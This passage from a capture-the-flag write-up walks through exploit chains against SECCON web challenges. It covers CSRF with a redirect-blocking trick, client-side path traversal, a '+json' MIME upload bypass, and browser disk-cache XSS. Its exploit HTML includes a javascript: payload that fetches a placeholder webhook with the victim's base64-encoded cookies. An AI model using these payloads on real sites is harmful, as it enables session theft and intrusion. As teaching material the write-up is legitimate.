<span class="nt">&lt;script&gt;</span>
<span class="err"> </span> <span class="nb">window</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">/flood.html</span><span class="dl">"</span><span class="p">);</span>
<span class="err"> </span> <span class="kd">function</span> <span class="nf">a</span><span class="p">()</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">btn</span><span class="dl">"</span><span class="p">).</span><span class="nf">click</span><span class="p">();</span>
<span class="err"> </span> <span class="p">}</span>
<span class="err"> </span> <span class="nf">setTimeout</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="mi">2000</span><span class="p">);</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>The idea above is pretty simple. We modify our exploit payload to open <code class="language-plaintext highlighter-rouge">/flood.html</code> in a new window. We also modified the form to get <code class="language-plaintext highlighter-rouge">target="_BLANK"</code> which isn’t really needed but was handy for testing the connection pools.</p>

<p>Here we wait 2 seconds before submitting the form, which gives our new window a chance to load and exhaust the sockets.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="err"> </span> <span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">254</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="nf">fetch</span><span class="p">(</span><span class="s2">`http://</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">.yourserver.com/sleep/6000`</span><span class="p">,</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">mode</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cors</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">cache</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-store</span><span class="dl">"</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">});</span>
<span class="err"> </span> <span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>The contents of <code class="language-plaintext highlighter-rouge">flood.html</code> simply send a request to <code class="language-plaintext highlighter-rouge">yourserver.com</code> where you should be hosting an endpoint which sleeps for 6000ms. I tried a few different values and eventually this seemed to hit the sweet spot. We want to keep it under 10 seconds so there is time for the rest of the payload, as the bot only visits for that length of time.</p>

<p>This works but there is actually a simpler solution which avoids connection pools and when you have an opportunity to avoid messing with connection pools, <strong>TAKE IT</strong>! 😂</p>

<h2 id="dangling-markup-protection">Dangling Markup Protection</h2>

<p>Chromium contains a protection against dangling markup attacks; if it detects a client-side redirect with <code class="language-plaintext highlighter-rouge">&lt;</code> and either <code class="language-plaintext highlighter-rouge">\n</code>, <code class="language-plaintext highlighter-rouge">\r</code> or <code class="language-plaintext highlighter-rouge">\t</code> in the same URL then the browser will block the request.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://localhost:80/logout"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"fallback_url"</span> <span class="na">value=</span><span class="s">"javascript:alert()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"post_id"</span> <span class="na">id=</span><span class="s">"inject"</span> <span class="na">value=</span><span class="s">""</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">id=</span><span class="s">"btn"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span>
<span class="err"> </span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">inject</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span> <span class="o">=</span> <span class="dl">"</span><span class="se">\</span><span class="s2">x09&lt;</span><span class="dl">"</span><span class="p">;</span>
<span class="err"> </span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">btn</span><span class="dl">"</span><span class="p">).</span><span class="nf">click</span><span class="p">();</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>As you can see above, we use javascript to populate the <code class="language-plaintext highlighter-rouge">post_id</code> parameter with a tab followed by the opening angle bracket. This triggers the protection and the redirect is killed.</p>

<h2 id="cspt---redirect">CSPT -&gt; Redirect</h2>

<p>So, we have our XSS working; provided the bot visits our URL. Unfortunately, we can only give the bot a post ID. Looking at the javascript on the posts page, we see something interesting.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">postId</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">id</span><span class="dl">'</span><span class="p">);</span>
<span class="p">...</span>
<span class="kd">const</span> <span class="nx">postData</span> <span class="o">=</span> <span class="k">await</span> <span class="k">import</span><span class="p">(</span><span class="s2">`/api/posts/</span><span class="p">${</span><span class="nx">postId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="p">{</span> <span class="na">with</span><span class="p">:</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">json</span><span class="dl">"</span> <span class="p">}</span> <span class="p">});</span>
<span class="p">...</span>
<span class="kd">const</span> <span class="nx">imageUrl</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="p">}${</span><span class="nx">postData</span><span class="p">.</span><span class="k">default</span><span class="p">.</span><span class="nx">image_url</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">imageFrame</span><span class="dl">'</span><span class="p">).</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">imageUrl</span><span class="p">;</span>
</code></pre></div></div>

<p>The id which is provided will control where posts get imported from. There is a pretty clear Client-Side Path Traversal vulnerability here. This means we can prepend our <code class="language-plaintext highlighter-rouge">postId</code> with <code class="language-plaintext highlighter-rouge">../../</code> and then control the exact path it reads the JSON from.</p>

<p>If we can control this JSON, then we can control the <code class="language-plaintext highlighter-rouge">postData.default.image_url</code> portion of <code class="language-plaintext highlighter-rouge">imageURL</code> which gives us full control over the website loaded. <code class="language-plaintext highlighter-rouge">location.origin</code> is just the domain name which would be <code class="language-plaintext highlighter-rouge">example.com</code> so if we append <code class="language-plaintext highlighter-rouge">ourwebsite.com</code> then this would become <code class="language-plaintext highlighter-rouge">example.com.ourwebsite.com</code> which we control!</p>

<blockquote>
  <p>Note that we can’t use <code class="language-plaintext highlighter-rouge">@outwebsite.com</code> here because subresource requests <strong>cannot</strong> contain embedded credentials.</p>
</blockquote>

<p>So, how do we host our own JSON?</p>

<h2 id="uploading-json">Uploading JSON</h2>

<p>When looking for a way to host our own JSON on the application, we first obviously check the file upload functionality.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/upload</span><span class="dl">'</span><span class="p">,</span> <span class="nx">checkOrigin</span><span class="p">,</span> <span class="nx">requireAuth</span><span class="p">,</span> <span class="nx">uploadLimiter</span><span class="p">,</span> <span class="nx">upload</span><span class="p">.</span><span class="nf">single</span><span class="p">(</span><span class="dl">'</span><span class="s1">image</span><span class="dl">'</span><span class="p">),</span> <span class="k">async </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="p">{</span> <span class="nx">title</span><span class="p">,</span> <span class="nx">description</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">file</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">file</span><span class="p">;</span>

    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">file</span> <span class="o">||</span> <span class="o">!</span><span class="nx">title</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nf">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nf">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Image and title required</span><span class="dl">'</span> <span class="p">});</span>
    <span class="p">}</span>

    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">file</span><span class="p">.</span><span class="nx">mimetype</span> <span class="o">||</span> <span class="p">(</span><span class="o">!</span><span class="nx">file</span><span class="p">.</span><span class="nx">mimetype</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">image/png</span><span class="dl">'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">file</span><span class="p">.</span><span class="nx">mimetype</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">image/jpeg</span><span class="dl">'</span><span class="p">)))</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nf">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nf">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Invalid file: must be png or jpeg</span><span class="dl">'</span> <span class="p">});</span>
    <span class="p">}</span>

    <span class="kd">const</span> <span class="nx">postId</span> <span class="o">=</span> <span class="nf">uuidv4</span><span class="p">();</span>

    <span class="kd">const</span> <span class="nx">command</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PutObjectCommand</span><span class="p">({</span>
      <span class="na">Bucket</span><span class="p">:</span> <span class="nx">BUCKET</span><span class="p">,</span>
      <span class="na">Key</span><span class="p">:</span> <span class="nx">postId</span><span class="p">,</span>
      <span class="na">Body</span><span class="p">:</span> <span class="nx">file</span><span class="p">.</span><span class="nx">buffer</span><span class="p">,</span>
      <span class="na">ContentType</span><span class="p">:</span> <span class="nx">file</span><span class="p">.</span><span class="nx">mimetype</span><span class="p">,</span>
    <span class="p">});</span>

    <span class="k">await</span> <span class="nx">s3Client</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="nx">command</span><span class="p">);</span>

    <span class="nx">posts</span><span class="p">.</span><span class="nf">set</span><span class="p">(</span><span class="nx">postId</span><span class="p">,</span> <span class="p">{</span>
      <span class="nx">title</span><span class="p">,</span>
      <span class="na">description</span><span class="p">:</span> <span class="nx">description</span> <span class="o">||</span> <span class="dl">''</span><span class="p">,</span>
      <span class="na">image_url</span><span class="p">:</span> <span class="s2">`/images/</span><span class="p">${</span><span class="nx">postId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="na">author</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">user</span><span class="p">,</span>
    <span class="p">});</span>

    <span class="nx">res</span><span class="p">.</span><span class="nf">json</span><span class="p">({</span> <span class="na">success</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">id</span><span class="p">:</span> <span class="nx">postId</span> <span class="p">});</span>
  <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Upload error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nf">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nf">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Upload failed</span><span class="dl">'</span> <span class="p">});</span>
  <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>What is worth noting here is that the only check is against the mimetype. Aside from this, we can host whatever we want. However, strict mime checking is enforced for module scripts</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/images/:id</span><span class="dl">'</span><span class="p">,</span> <span class="k">async </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">id</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span>

    <span class="kd">const</span> <span class="nx">command</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">GetObjectCommand</span><span class="p">({</span>
      <span class="na">Bucket</span><span class="p">:</span> <span class="nx">BUCKET</span><span class="p">,</span>
      <span class="na">Key</span><span class="p">:</span> <span class="nx">id</span><span class="p">,</span>
    <span class="p">});</span>

    <span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">s3Client</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="nx">command</span><span class="p">);</span>

    <span class="nx">res</span><span class="p">.</span><span class="nf">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">,</span> <span class="nx">response</span><span class="p">.</span><span class="nx">ContentType</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">application/octet-stream</span><span class="dl">'</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nf">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Security-Policy</span><span class="dl">'</span><span class="p">,</span> <span class="dl">"</span><span class="s2">default-src 'none'; form-action 'none';</span><span class="dl">"</span><span class="p">);</span>

    <span class="kd">const</span> <span class="nx">stream</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">Body</span><span class="p">;</span>
    <span class="nx">stream</span><span class="p">.</span><span class="nf">pipe</span><span class="p">(</span><span class="nx">res</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Image fetch error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nf">status</span><span class="p">(</span><span class="mi">404</span><span class="p">).</span><span class="nf">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Image not found</span><span class="dl">'</span> <span class="p">});</span>
  <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>As you can see, the content type is being saved and when we visit the <code class="language-plaintext highlighter-rouge">/images/:id</code> endpoint we get the same content type returned as the one specified in the mime type when uploading. So, what is a valid mimetype?</p>

<blockquote>
  <p>A JSON MIME type is any <a href="https://mimesniff.spec.whatwg.org/#mime-type">MIME type</a> whose <a href="https://mimesniff.spec.whatwg.org/#subtype">subtype</a> ends in “<code class="language-plaintext highlighter-rouge">+json</code>” or whose <a href="https://mimesniff.spec.whatwg.org/#mime-type-essence">essence</a> is “<code class="language-plaintext highlighter-rouge">application/json</code>” or “<code class="language-plaintext highlighter-rouge">text/json</code>”.</p>
</blockquote>

<p>So we can upload a file with mimetype set to <code class="language-plaintext highlighter-rouge">image/png+json</code> and this will work!</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/upload</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">localhost</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">474</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">multipart/form-data; boundary=----WebKitFormBoundarynZuTFBeWRsBukMgO</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">session=&lt;snip&gt;</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>

------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="description"

test
------WebKitFormBoundarynZuTFBeWRsBukMgO
Content-Disposition: form-data; name="image"; filename="image.png"
Content-Type: image/png+json

{
    "title": "test",
    "description": "test",
    "image_url": ".ourwebsite.com"
}
------WebKitFormBoundarynZuTFBeWRsBukMgO--
</code></pre></div></div>

<p>This will return a uuid for the image. When we now visit <code class="language-plaintext highlighter-rouge">/posts/?id=../../images/&lt;uuid&gt;</code> we will load <code class="language-plaintext highlighter-rouge">&lt;origin&gt;.ourwebsite.com</code> inside of a credentialless iframe</p>

<h2 id="credentialless-iframes">Credentialless iframes</h2>

<p>Visiting the CSRF payload inside of the credentialless iframe unfortunately won’t execute it. Thankfully, there’s a rather easy bypass here. We just call <code class="language-plaintext highlighter-rouge">window.open("/csrf.html")</code> and it will run inside of a new window with credentials.</p>

<h2 id="tying-it-all-together">Tying it all together</h2>

<p>We begin by registering an account and logging in. Then we upload an image with mimetype <code class="language-plaintext highlighter-rouge">image/png+json</code> with our payload.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"image_url"</span><span class="p">:</span><span class="w"> </span><span class="s2">".ourwebsite.com"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Then we visit the bot page and send it to <code class="language-plaintext highlighter-rouge">../../images/&lt;uuid&gt;</code> to retrieve the flag.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="err"> </span> <span class="nb">window</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">/exploit.html</span><span class="dl">"</span><span class="p">);</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Our index page simply opens <code class="language-plaintext highlighter-rouge">exploit.html</code> in a new window.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://web:80/logout"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"fallback_url"</span> <span class="na">value=</span><span class="s">"javascript:fetch(`http://&lt;webhook&gt;/${btoa(document.cookie)}`)"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"post_id"</span> <span class="na">id=</span><span class="s">"inject"</span> <span class="na">value=</span><span class="s">""</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">id=</span><span class="s">"btn"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span>
  <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">inject</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">&lt;</span><span class="se">\</span><span class="s2">x09</span><span class="dl">"</span><span class="p">;</span>
  <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">btn</span><span class="dl">"</span><span class="p">).</span><span class="nf">click</span><span class="p">();</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">exploit.html</code> contains the full CSRF exploit with the redirect stopping logic.</p>

<p><code class="language-plaintext highlighter-rouge">SECCON{why_c4nt_we_eat_the_d0nut_h0le}</code></p>

<h2 id="further-reading-1">Further Reading</h2>

<p><a href="https://lab.ctbb.show/research/stopping-redirects">Critical Thinking - Stopping Redirects</a>
<a href="https://chromestatus.com/feature/5735596811091968">Dangling Markup Protection</a>
<a href="https://mimesniff.spec.whatwg.org/#:~:text=A%20JSON%20MIME%20type%20is,or%20%22%20text%2Fjson%20%22.">MIME Sniffing Spec</a>
<a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">XSLeaks - Connection Pool</a></p>

<h1 id="webframed-xss">web/framed-xss</h1>

<h2 id="initial-observations-2">Initial Observations</h2>

<p>Opening up the source code we see a directory for <code class="language-plaintext highlighter-rouge">bot</code> and <code class="language-plaintext highlighter-rouge">web</code> applications. Looking at the bot, we can see that the flag is stored in a cookie.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nf">setCookie</span><span class="p">({</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">FLAG</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">value</span><span class="p">:</span> <span class="nx">flag</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">domain</span><span class="p">:</span> <span class="nx">challenge</span><span class="p">.</span><span class="nx">appUrl</span><span class="p">.</span><span class="nx">hostname</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">path</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">});</span>
</code></pre></div></div>

<p>We provide an arbitrary <code class="language-plaintext highlighter-rouge">url</code> to the bot and it will visit. It seems like we need to find an XSS.</p>

<h2 id="finding-the-xss-sink-1">Finding the XSS sink</h2>

<p>The main page has the following javascript. This send a fetch to <code class="language-plaintext highlighter-rouge">/view</code> and stores the response into the <code class="language-plaintext highlighter-rouge">srcdoc</code> of a new <code class="language-plaintext highlighter-rouge">iframe</code> element. The <code class="language-plaintext highlighter-rouge">iframe</code> element has a sandbox which prevents any scripts from executing.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">html</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/view</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">,</span> <span class="p">{</span>
      <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">"</span><span class="s2">From-Fetch</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span> <span class="p">},</span>
    <span class="p">}).</span><span class="nf">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nf">text</span><span class="p">());</span>
    <span class="k">if </span><span class="p">(</span><span class="nx">html</span><span class="p">)</span> <span class="p">{</span>
      <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">html</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">html</span><span class="p">;</span>
      <span class="kd">const</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">createElement</span><span class="p">(</span><span class="dl">"</span><span class="s2">iframe</span><span class="dl">"</span><span class="p">);</span>
      <span class="nx">iframe</span><span class="p">.</span><span class="nf">setAttribute</span><span class="p">(</span><span class="dl">"</span><span class="s2">sandbox</span><span class="dl">"</span><span class="p">,</span> <span class="dl">""</span><span class="p">);</span>
      <span class="nx">iframe</span><span class="p">.</span><span class="nx">srcdoc</span> <span class="o">=</span> <span class="nx">html</span><span class="p">;</span>
      <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">iframe</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">From-Fetch</code> header is defined here, which is needed to interact with the endpoint.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">@</span><span class="nd">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/view</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">def</span> <span class="nf">view</span><span class="p">():</span>
    <span class="k">if</span> <span class="nx">not</span> <span class="nx">request</span><span class="p">.</span><span class="nx">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">From-Fetch</span><span class="dl">"</span><span class="p">,</span> <span class="dl">""</span><span class="p">):</span>
        <span class="k">return</span> <span class="dl">"</span><span class="s2">Use fetch</span><span class="dl">"</span><span class="p">,</span> <span class="mi">400</span>
    <span class="k">return</span> <span class="nx">request</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">html</span><span class="dl">"</span><span class="p">,</span> <span class="dl">""</span><span class="p">)</span>
</code></pre></div></div>

<p>If the header is defined, then we have a free XSS sink.</p>

<h2 id="triggering-the-xss">Triggering the XSS</h2>

<p>Playing around with this, I noticed the following flow.</p>

<ul>
  <li>Visit <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code></li>
  <li>Visit <code class="language-plaintext highlighter-rouge">/?html=&lt;XSS&gt;</code></li>
  <li><code class="language-plaintext highlighter-rouge">history.back()</code></li>
</ul>

<p>So why does this happen? Well it’s because of browser cache! When we visit <code class="language-plaintext highlighter-rouge">/?html=&lt;XSS&gt;</code> it send a fetch to <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code> which resulted in the response getting cached in our browser. Then when we navigated back in the history, it fetched this entry from cache and loaded it! So we can trigger the XSS without having to pass the header.</p>

<p>Now we just have to automate this exploit to target the bot which is where the real challenge surfaces.</p>

<h2 id="disk-cache">Disk Cache</h2>

<p>To understand how we can automate this, we first have to understand the underlying mechanism and why the above procedure results in XSS. This challenge uses Chromium and so I will be explaining how this works with Chromium internals so keep in mind that this might differ for other browsers.</p>

<p>When visiting websites we often encounter the same files on multiple pages. It could be a website logo or some javascript library they load from the same CDN; content is repeated a lot. Naturally there is huge benefit to be had from implemented a caching mechanism. In browsers this is known as disk cache.</p>

<p>Due to concerns around XS Leaks and whatnot, there must be isolation between cached resources across origins. We don’t want a cross-origin website to be able to detect if a certain resource is cached or not as that could provide some oracle for leaking information about a user’s session on another application.</p>

<p>To address this, Chromium introduced a split HTTP disk cache. When split cache is enabled, cache entries are “double-keyed” by prefixing the URL with <code class="language-plaintext highlighter-rouge">_dk_</code> followed by a serialized Network Isolation Key (derived from the top-frame site and frame site), optionally additional navigation prefixes, and then the resource URL.</p>

<p>If our top-level frame is <code class="language-plaintext highlighter-rouge">example.com</code> and it is framing <code class="language-plaintext highlighter-rouge">youtube.com</code> then a resource for <code class="language-plaintext highlighter-rouge">https://youtube.com/favicon.ico</code> cached from <code class="language-plaintext highlighter-rouge">youtube.com</code> will have a key that looks something like: <code class="language-plaintext highlighter-rouge">_dk_https://example.com https://youtube.com https://youtube.com/favicon.ico</code></p>

<p><em>This is slightly inaccurate but it gets across the general idea</em>.</p>

<h2 id="the-mark-of-cn_">The mark of cn_</h2>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span><span class="p">(</span><span class="nx">initiator</span><span class="p">.</span><span class="nf">has_value</span><span class="p">()</span> <span class="o">&amp;&amp;</span> <span class="nx">is_mainframe_navigation</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="nx">bool</span> <span class="nx">is_initiator_cross_site</span> <span class="o">=</span> <span class="o">!</span><span class="nx">net</span><span class="p">::</span><span class="nx">SchemefulSite</span><span class="p">::</span><span class="nc">IsSameSite</span><span class="p">(</span><span class="o">*</span><span class="nx">initiator</span><span class="p">,</span> <span class="nx">url</span><span class="p">::</span><span class="nx">Origin</span><span class="p">::</span><span class="nc">Create</span><span class="p">(</span><span class="nx">url</span><span class="p">));</span>
	<span class="k">if </span><span class="p">(</span><span class="nx">is_initiator_cross_site</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">is_cross_site_main_frame_navigation_prefix</span> <span class="o">=</span> <span class="nx">kCrossSiteMainFrameNavigationPrefix</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above piece of code shows us the requirements for the <code class="language-plaintext highlighter-rouge">cn_</code> prefix to be added. If this were added it would appear after <code class="language-plaintext highlighter-rouge">_dk_</code> above giving us a prefix that looks like <code class="language-plaintext highlighter-rouge">_dk_cn_</code> when all of the following conditions are satisfied.</p>

<ul>
